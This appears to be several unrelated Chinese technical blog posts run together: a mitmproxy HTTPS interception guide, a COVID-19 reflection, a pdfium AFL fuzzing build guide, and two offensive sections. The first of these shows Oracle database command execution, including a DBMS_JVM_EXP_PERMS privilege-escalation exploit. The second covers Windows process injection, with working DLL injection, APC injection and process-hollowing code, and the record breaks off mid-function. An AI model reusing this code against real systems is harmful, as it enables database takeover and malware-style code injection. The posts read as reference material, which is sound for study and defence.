0%

主要特色:Intercept HTTP & HTTPS requests and responses and modify them on the fly

使用python编写,可以在windows,Linux, Mac 下运行,这点比 fiddler 有优势。可以修改
报文内容,这点很不错。

1. 安装

参考 http://docs.mitmproxy.org/en/stable/install.html

1
2
sudo dnf install -y python-pip python-devel libffi-devel openssl-devel libxml2-devel libxslt-devel libpng-devel libjpeg-devel
sudo pip install mitmproxy # or pip install --user mitmproxy

2. 基本使用

mitmproxy -b a.b.c.d -p 8080

  • -b bind address
  • -p bind port
  • -s “script.py –bar”, –script “script.py –bar” Run a script. Surround with quotes to pass script
1
2
3
-b ADDR, --bind-address ADDR
-p PORT, --port PORT Proxy service port.
-s mitmproxy 脚本

2.1 mitmproxy 界面操作

- ?            显示帮助信息
- i, j, k, l    上下左右,同 vi
- enter         进入具体报文
- tab           详细报文内容页面,显示标签调整
- E             导出报文内容

3. HTTPS

使用mitmproxy 最大的原因就是因为它可以对付https报文。

3.1 导入mitmproxy的 CA

参考 http://docs.mitmproxy.org/en/stable/certinstall.html

mitmproxy 的 CA 证书放在 ~/.mitmproxy 目录, 可以在不同设备中添加。

3.2 目标设备为Linux

☆ Google Chrome

设置 -> HTTPS/SSL -> 证书管理 -> 授权中心

☆ Firefox

没用Firefox,估计也类似。

然后设置浏览器使用mitmproxy代理即可。

3.3 目标设备为 Android

3.3.1 导入证书

adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /sdcard/Download

设置 -> 安全 -> 证书存储 -> 从手机存储安装, 选择上传的CA证书。

3.3.2 设置代理

emulator 上可以通过下面的命令行,设置代理。

./emulator -avd 7.0_x86 -http-proxy http://a.b.c.d:8080

真实的设备上,据网络上的文章说,可以通过设置 APN来实现,没有测试。

3.3.3 启动 mitmproxy

mitmproxy -b a.b.c.d -p 8080

4. 透明模式

mitmproxy 支持透明部署,具体的方法可以参考下面的文章。

http://docs.mitmproxy.org/en/stable/transparent/linux.html

5. 修改报文内容

github 上有很多例子,这次没有需求,可以参考

https://github.com/mitmproxy/mitmproxy/tree/v0.18.2/examples

官方文档上给了个简单例子

1
2
def response(flow):
flow.response.headers["newheader"] = "foo"

给http响应报文的头部添加一个 newheader 的字段。

6. socks 模式

–socks 作为 SOCKS5 proxy server

7. 总结

这里说到的内容非常少,mitmproxy这个工具还是很强大的。

1. 正统方法

1.1 使用JAVA

1.1.1 代码

Oracle 数据库都支持Java,可以利用java来实现我们需要的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;

public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
finalCommand = new String[4];
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
} else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
Process p = Runtime.getRuntime().exec(finalCommand);
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
System.err.println("command execute failed.");
}
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
System.out.println(lineStr);
inBr.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
};
/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/

1.1.2 设置输出

1
2
set serveroutput on size 100000;
exec dbms_java.set_output(100000);

1.1.3 需要的权限

可以使用下面的语句查询相关权限

  • 用户权限
1
select * from session_privs;
  • JAVA 权限
1
2
select * from dba_java_policy;
select * from user_java_policy;

使用java代码执行系统命令需要的权限,可以使用下面语句进行授权:

1
2
3
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

1.1.4 实验结果

非常不错支持回显。

1
2
3
4
5
SQL> exec javacmdproc('/bin/uname -a');
Linux localhost.localdomain 2.6.32-100.34.1.el6uek.i686 #1 SMP Wed May 25
17:28:36 EDT 2011 i686 i686 i386 GNU/Linux

PL/SQL procedure successfully completed.

1.1.5 注意

需要使用全路径

1.2 DBMS_SCHEDULAR

1.2.1 DBMS_SCHEDULAR 简介

这个和Windows上的计划任务类似。

1.2.2 需要的权限

  1. CREATE JOB
  2. CREATE EXTERNAL JOB
  3. EXECUTE on dbms_scheduler (granted to public by default)

grant create job, create external job to scott ;

1.2.3 执行的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
-- Use the ampersand to break out
program_action => '/tmp/a.sh',
enabled=> TRUE,
comments=> 'Run a command using shell metacharacters.'
);
END;
/

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name=> 'X',
program_name=> 'MyCmd',
repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
enabled=> TRUE,
comments=> 'Every 10 seconds');
END;
/

exec DBMS_SCHEDULER.RUN_JOB ( job_name=> 'X');

1.2.4 注意

  1. 原先使用 || 等 metacharacters 的bug已经修复,只能使用参数
  2. Windows系统必须开启OracleJobSchedulerSID 服务
  3. Linux系统上相关文件的权限必须正确
  4. 高版本的Linux,执行的group已经被Oracle将为nobody

总之这个方法局限行很大,不推荐使用,列在这里只是做一个备忘。

1.3 使用oradebug

  • oradebug 简介
    oradebug是一个神奇的命令, 能干很多活, 但是Oracle却很少提及,属于undocumented
    状态,是给oracle的工程师使用的,主要用于调试和性能调优。可以使用 oradebug help
    命令,查看oradebug的用法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
SQL> oradebug help
HELP [command] Describe one or all commands
SETMYPID Debug current process
SETOSPID <ospid> Set OS pid of process to debug
SETORAPID <orapid> ['force'] Set Oracle pid of process to debug
SETORAPNAME <orapname> Set Oracle process name to debug
SHORT_STACK Get abridged OS stack
CURRENT_SQL Get current SQL
DUMP <dump_name> <lvl> [addr] Invoke named dump
DUMPSGA [bytes] Dump fixed SGA
DUMPLIST Print a list of available dumps
EVENT <text> Set trace event in process
SESSION_EVENT <text> Set trace event in session
DUMPVAR <p|s|uga> <name> [level] Print/dump a fixed PGA/SGA/UGA variable
DUMPTYPE <address> <type> <count> Print/dump an address with type info
SETVAR <p|s|uga> <name> <value> Modify a fixed PGA/SGA/UGA variable
PEEK <addr> <len> [level] Print/Dump memory
POKE <addr> <len> <value> Modify memory
WAKEUP <orapid> Wake up Oracle process
SUSPEND Suspend execution
RESUME Resume execution
FLUSH Flush pending writes to trace file
CLOSE_TRACE Close trace file
TRACEFILE_NAME Get name of trace file
LKDEBUG Invoke global enqueue service debugger
NSDBX Invoke CGS name-service debugger
-G <Inst-List | def | all> Parallel oradebug command prefix
-R <Inst-List | def | all> Parallel oradebug prefix (return output
SETINST <instance# .. | all> Set instance list in double quotes
SGATOFILE <SGA dump dir> Dump SGA to file; dirname in double quotes
DMPCOWSGA <SGA dump dir> Dump & map SGA as COW; dirname in double quotes
MAPCOWSGA <SGA dump dir> Map SGA as COW; dirname in double quotes
HANGANALYZE [level] [syslevel] Analyze system hang
FFBEGIN Flash Freeze the Instance
FFDEREGISTER FF deregister instance from cluster
FFTERMINST Call exit and terminate instance
FFRESUMEINST Resume the flash frozen instance
FFSTATUS Flash freeze status of instance
SKDSTTPCS <ifname> <ofname> Helps translate PCs to names
WATCH <address> <len> <self|exist|all|target> Watch a region of memory
DELETE <local|global|target> watchpoint <id> Delete a watchpoint
SHOW <local|global|target> watchpoints Show watchpoints
DIRECT_ACCESS <set/enable/disable command | select query> Fixed table access
CORE Dump core without crashing process
IPC Dump ipc information
UNLIMIT Unlimit the size of the trace file
PROCSTAT Dump process statistics
CALL [-t count] <func> [arg1]...[argn] Invoke function with arguments

功能非常丰富, 下面我们用到的是 CALL 可以直接调用oracle进程使用的函数。

执行的语句

oradebug setmypid; oradebug call system "/usr/bin/whoami >/tmp/ret";

注意

  1. 这里权限要求是SYSDBA
  2. 双引号里必须是使用TAB而不能使用空格
  3. Linux 和 Windows 下的ORACLE都能利用成功

2. 黑客方法

下面用到的两个方法是David Litchfield 在Blackhat DC 2010 上公开两个方法,通过逆向
发现。结合DBMS_JVM_EXP_PERMS的漏洞可以直接执行系统命令(DBMS_JVM_EXP_PERMS 漏洞
已经被被修复)

1
2
3
4
5
6
7
8
9
10
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,'java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,'ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

在有漏洞的DBMS_JVM_EXP_PERMS package的Oracle上执行上述语句,有create session
权限的用户可以给自己授权所有java 权限。

2.1 DBMS_JAVA_TEST.FUNCALL

2.1.1 执行的语句

1
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual;

2.1.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.1.3 受影响系统

11g R1, 11g R2

2.2 DBMS_JAVA.RUNJAVA

2.2.1 执行的语句

1
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL;

2.2.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.2.3 受影响系统

10g R2, 11g R1, 11g R2

参考链接

  1. Using Java to run os command
  2. DBMS_SCHEDULER
  3. oradebug
  4. BlackHat-DC-2010-Litchfield-Oracle11g
  5. Hacking Oracle from the Web

整个春节被武汉的新型冠状病毒肺炎搞得人心惶惶,2020 注定是我们这辈人难忘的一年,非典的时候比较小感觉没那么恐怖,现在的感觉就完全不一样了,整天都在洗手中度过。

在病情扩散期间,大量消息满天飞,给政府提意见的更是比比皆是,但是大家都忽视了 一点,就是要相信专业。很多人不太明白专业和非专业之间的差距,可以想象一下你和一 个围棋九段的人下围棋,怎么换到医学领域大家就都是专家了?

我看到一个建议轻征不隔离,把资源让给重症者。

大家觉得这个建议如何?提这个建议的人说,主要依据是死亡人不多。这个犯了几个错误, 第一,要看死亡率,而不是死亡人数,患病的人多了,自然死人的就多了。第二,根据我 有限的常识,病毒是会自适应性的进化的,感染的人多了,可能就会产生更nb 的变种了。

这个事情主要还是相信国家,相信我们的祖国。我觉得这个事情一定会解决了,只是时间 和损失程度问题,一季度的gdp 肯定是受影响了,希望疫情快点过去,天佑中华!

最后希望所有看到此文的,新年幸福安康!

下载源码

先在 https://pdfium.googlesource.com/pdfium/ 下载源码.

1
2
3
4
5
mkdir repo
cd repo
gclient config --unmanaged https://pdfium.googlesource.com/pdfium.git
gclient sync
cd pdfium

gclient 命令在 depot_tools 中, 需要安装 参考下面的文章

http://www.chromium.org/developers/how-tos/install-depot-tools

1
2
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"

主要gclient sync 同步时需要翻墙,可以简单的使用环境变量的方法。

https_proxy=http://localhost:8118 gclient sync 下载 download google storage过
程中还会遇到一个网络问题,需要编写配置文件 ~/.boto

1
2
3
[Boto]
proxy = 127.0.0.1 # 不带 http://
proxy_port= 8118

export NO_AUTH_BOTO_CONFIG=~/.boto

源码包非常大,大概有1G多,需要耐心等待。

编译

编译需要使用 ubuntu 或者 Debian 系统,其他系统的依赖问题解决起来比较麻烦,
如果是上面两种操作系统的话,有脚本自动安装依赖。

./build/install-build-deps.sh

安装完所以依赖后就可以开始编译了,首先要先生成 gn 文件 (2016 年google 放弃使用原来的 gyp 编译方式)

gn args out/afl 会调用vim 编译器, 输入下面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.
use_goma = false # Googlers only. Make sure goma is installed and running first.
is_debug = false # Enable debugging features.

pdf_use_skia = true # Set true to enable experimental skia backend.
pdf_use_skia_paths = false # Set true to enable experimental skia backend (paths only).

pdf_enable_xfa = true # Set false to remove XFA support (implies JS support).
pdf_enable_v8 = true # Set false to remove Javascript support.
pdf_is_standalone = true # Set for a non-embedded build.
is_component_build = false # Disable component build (must be false)
v8_static_library = true

clang_use_chrome_plugins = false # Currently must be false.
use_sysroot = false # Currently must be false on Linux, but entirely omitted on windows.

use_afl = true
#is_asan = true
enable_nacl = true
optimize_for_fuzzing = true
symbol_level=1

使用 ASAN 编译会报错,暂时不开启,接下来要解决 afl 的问题了, pdfium 的 third_party
中不包含 afl-fuzz 的源代码,需要到 chromium.googlesource.com 项目下载。
chromium 项目支持 libfuzzer 和 afl-fuzz,只要使用开关, use_libfuzzer = true
或者 use_afl = true 即可打开。

要编译生成 pdfium_test, 必须指定 pdf_is_standalone = true, pdfium 源码仓库中没有
afl-fuzz 的代码,需要自己下载。

https://chromium.googlesource.com/chromium/src/third_party/+/master/afl/

可以直接下载 .tgz 文件
https://chromium.googlesource.com/chromium/src/third_party/+archive/master/afl.tar.gz

下载后将源码 copy 到 ~/repo/pdfium/third_party/afl 中, 使用 ninja -C out/afl 编译整个项目。

使用 is_debug=false 可以明显提高fuzzing 速度,应该开启。另外一个比较有用的是
symbol_level, 设置 symbol_level=1 可以添加必要的调试符号,便于gdb调试。

在编译 skia backend 支持时,需要额外处理, 使用 C++14

1
use_cxx11 = false 

afl-fuzz

随着 chromium 代码的更新, afl 源码编译出现了一些小问题,需要处理。

src/third_party/afl/patches/0001-fix-build-with-std-c11.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
diff --git a/afl-fuzz.c b/afl-fuzz.c
index 01b4afef0ecc..f0d564a33037 100644
--- a/afl-fuzz.c
+++ b/afl-fuzz.c
@@ -23,7 +23,9 @@
#define AFL_MAIN
#define MESSAGES_TO_STDOUT

+#ifndef _GNU_SOURCE
#define _GNU_SOURCE
+#endif
#define _FILE_OFFSET_BITS 64

#include "config.h"
diff --git a/types.h b/types.h
index 784d3a7a286d..d24d1fdd97e8 100644
--- a/types.h
+++ b/types.h
@@ -78,7 +78,7 @@ typedef int64_t s64;
#define STRINGIFY(x) STRINGIFY_INTERNAL(x)

#define MEM_BARRIER() \
- asm volatile("" ::: "memory")
+ __asm__ volatile("" ::: "memory")

#define likely(_x) __builtin_expect(!!(_x), 1)
#define unlikely(_x) __builtin_expect(!!(_x), 0)

afl-fuzz 的使用和其他项目一样。初始的种子文件有几个地方可以获取:

./afl-fuzz -M 01 -m 1024 -i /home/henices/input -o /home/henices/out -x /tmp/pdf.dict -- ./pdfium_test @@

参考资料

1. Process Injection 方法总结

进程注入是windows病毒和恶意软件最常用的手法之一,Windows下进程注入的方法比较
多,这里介绍常见的一些方法,以及相应的检查手段。

1.1 SetWindowsHookEx

SetWindowsHookEx估计是大家最熟悉的方法了,这个是微软提供给我们使用正规用法。
往Windows的hook chain中安装hook 例程,监控系统某种类型的event, 使用这种方法需要
实现一个dll。

1
2
3
4
5
6
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
  • dwThread 为0,将监管系统中所有线程。
  • idHook 指定监控event的类型
  • hMod dll句柄
  • lpfn hook例程的指针

MSDN给出了一个使用的例子:

1
2
3
4
5
6
7
8
9
10
11
12
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;

hinstDLL = LoadLibrary(TEXT("c:\\myapp\\sysmsg.dll"));
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc");

hhookSysMsg = SetWindowsHookEx(
WH_SYSMSGFILTER,
hkprcSysMsg,
hinstDLL,
0);

值得一提的是这个API只能监控GUI程序,console的程序是监控不了。当年使用的时候还吃
了亏。

1.2 lpk.dll

这是一种比较常见的方法,一般把这种方法称为 dll 劫持 (dll hijack),lpk.dll默认
的位置在,如果在其他的路径发现lpk.dll就需要需要注意了。

这种方法需要实现和原始的lpk.dll一样导出函数,每个函数都转向调用真正的lpk.dll
中的导出函数,这样对于程序来说是完全感觉不到什么异常变化的,但是却被伪造的lpk.dll
过了一道,所以称为为劫持。

这里有二个问题,值得思考。

如何能让程序加载我们的lpk.dll而不是系统真正的dll

如果知道Windows查找dll的顺序,就很容易解决这个问题了,微软的MSDN网站很贴心地
回答了我们的问题。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

1
2
3
4
5
6
7
8
9
a. The directory from which the application loaded.
b. The current directory.
c. The system directory. Use the GetSystemDirectory function to get the path of this directory.
d. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
e. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
f. The directories that are listed in the PATH environment variable. Note that
this does not include the per-application path specified by the App
Paths registry key. The App Paths key is not used when computing the DLL
search path.

因此把lpk.dll放到运行的程序同一目录即可。

为什么选取lpk.dll

Windows 7 开始,默认已经不加载LPK.dll了,要Windows 7 默认加载LPK.dll
需要修改注册表,导入下面的注册表, 重启后生效

1
2
3
4
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"ExcludeFromKnownDlls"=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,00,00

1.3 CreateRemoteThread

CreateRemoteThread应该是非常常用的进程注入方法了,有两种常见的使用方法。API
原型如下:

1
2
3
4
5
6
7
8
9
 HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
  • hProcess 要注入的进程的句柄
  • lpStartAddress 远程进程中执行的函数的地址(指针)
  • lpParameter 远程进程中执行的函数的参数的地址 (指针)

实现个DLL

第一种方法同样是跨进程调用LoadLibrary加载指定的DLL,我们自己实现一个DLL,就可以为所欲为了,呵呵。

从API原型中可以看出,需要把数据写入远程的进程,Windows系统提供了WriteProcssMemory
来干这个事,但是如何能够保证我们往远程进程写的地址是可写的呢?

答案是无法保证。。。所以比较稳妥的方法是我们自己在远程进程中申请一块可写的内
存,然后把我们的数据写到远程进程中去。

在远程进程中申请内存也有相应的API VirtualAllocEx, 把前前后后都串起来就可以远
程注入DLL了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (process == NULL) {
printf("Error: the specified process couldn't be found.\n");
}

/*
* Get address of the LoadLibrary function.
*/
LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (addr == NULL) {
printf("Error: the LoadLibraryA function was not found inside kernel32.dll library.\n");
}

/*
* Allocate new memory region inside the process's address space.
*/
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (arg == NULL) {
printf("Error: the memory could not be allocated inside the chosen process.\n");
}

/*
* Write the argument to LoadLibraryA to the process's newly allocated memory region.
*/
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
if (n == 0) {
printf("Error: there was no bytes written to the process's address space.\n");
}

/*
* Inject our DLL into the process's address space.
*/
HANDLE threadID = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
if (threadID == NULL) {
printf("Error: the remote thread could not be created.\n");
}
else {
printf("Success: the remote thread was successfully created.\n");
}

/*
* Close the handle to the process, becuase we've already injected the DLL.
*/
CloseHandle(process);

前面的代码示例代码,看起来很正常,基本上CreateRemoteThread的例子都是这么写的
但是如果如何看的仔细,还是会发现一个问题,不是说lpStartAddress必须是远程进程中
的地址吗,可是LoadLibraryA的地址是注入进程的地址不是远程进程中的地址。

很多文章在这里都没有说透,但是牛书《Windows核心编程》对此有着详细的说明。根据
经验Windows系统总是把Kernel32.dll映射到进程的相同地址,Windows开启ASLR后,重启后
进程中Kernel32.dll的地址会发生变化,但是每个进程中Kernel32.dll的地址仍然相同!
所以我们可以在远程的进程使用本地进程的内存中的LoadLibraryA的地址。

写远程进程内存

第二种方法是直接远程注入代码,不注入DLL,其实并不一定要调用CreateRemoteThread
还有好几种替代方法,

  1. CreateRemoteThread最终会调用NtCreateThreadEx Native API,可以直接调用这个
    Native API来启动远程的线程。
  2. RtlCreateUserThread

1.4 AppInit_DLLs

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这个键值被《Windows核心编程》介绍而格外出名,可执行文件在处理User32.dll的
DLL_PROCESS_ATTACH 时,会使用LoadLibirary加载AppInit_DLLS, 不链接User32.dll的程
序将不会加载AppInit_DLLS, 很少程序不需要链接User32.dll

新版本的Windows增加了几个关键的键值,会对DLL的注入有影响。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

  • REG_DWORD 1 表示全局开启
  • REG_DWORD 0 表示全局关闭

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\RequireSignedAppInit_DLLs

  • REG_DWORD 0 加载任意DLL
  • REG_DWORD 1 只加载签名的DLL

1.5 QueueUserApc

QueueUserApc API 原型如下:

DWORD WINAPI QueueUserAPC(
In PAPCFUNC pfnAPC, // APC function
In HANDLE hThread, // handle of thread
In ULONG_PTR dwData // APc function parameter
);

这个注入方法用的不多,但是也是老方法了,pjf在2007年《暴力注入explorer》的文章里
就提到了这种方法。作用是在线程的Apc队列插入一个用户模式下的APC 对象。

APC 是 asynchronous procedure call 的缩写,每个线程都有自己的APC队列,在线程APC
队列中的APC对象的函数将被线程执行,但是用户模式下的APC对象里的函数并不一定会马上
执行(所以是异步的),除非线程是alertable状态。当线程是alertable状态是,APC队列
里的Apc对象,按照FIFO的顺序进行处理,执行APC函数。线程调用 SleepEx,
SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx 或者
MsgWaitForMultipleObjectsEx时线程进入alertable状态。

所以为了我们的函数能够尽快的执行,我们必须在目标进程所有的线程的APC队列中插入
APC 对象,基本上总有一个线程是alertable状态。

核心伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD ret;
char *DllName = 'c:\\MyDll.dll';
int len = strlen(DllName) + 1;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PVOID param = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE);

if (param != NULL) {
if (WriteProcessMemory(hProcess, param, (LPVOID)DllName, len, &ret)) {
for (DWORD p = 0; p < NumberOfThreads; p ++) {
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0) {
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) {
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle('kernel32.dll', 'LoadLibraryA', hThread, (DWORD)param);
}

1.6 ZwMapViewOfSection

这是最近出现的比较新的进程注入方法,在2014年左右有样本开始使用这种方法注入进程。
这种技术的本质是进程替换,使用合法的正常进程,执行的确是恶意的代码。

基本步骤如下:

  1. 使用CREATE_SUSPENDED调用CreateProcessW创建进程
  2. 使用ZwUnmapViewOfSection卸载进程空间中的原始代码
  3. 使用VirtualAllocEx分配内存,确保分配区域可写可执行
  4. 使用WriteProcessMemory在分配区域内写入恶意代码
  5. 使用SetThreadContext设置线程内容为指定的恶意代码
  6. 使用ResumeThread回复进程执行

代码中用到PEB的结构:

1
2
3
4
5
6
7
>dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize; //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);

hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;
::ReadFile( hFile
, pBuf
, dwFileSize
, &dwNumberOfBytesRead
, NULL
);

::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//检查PE结构
//以挂起方式进程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果调用失败
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡进程内存模块
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替换傀儡进程内存数据
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 头 + PE 头 + 区块表的总大小
//定位到区块头
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各个区块
::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 执行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase, //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
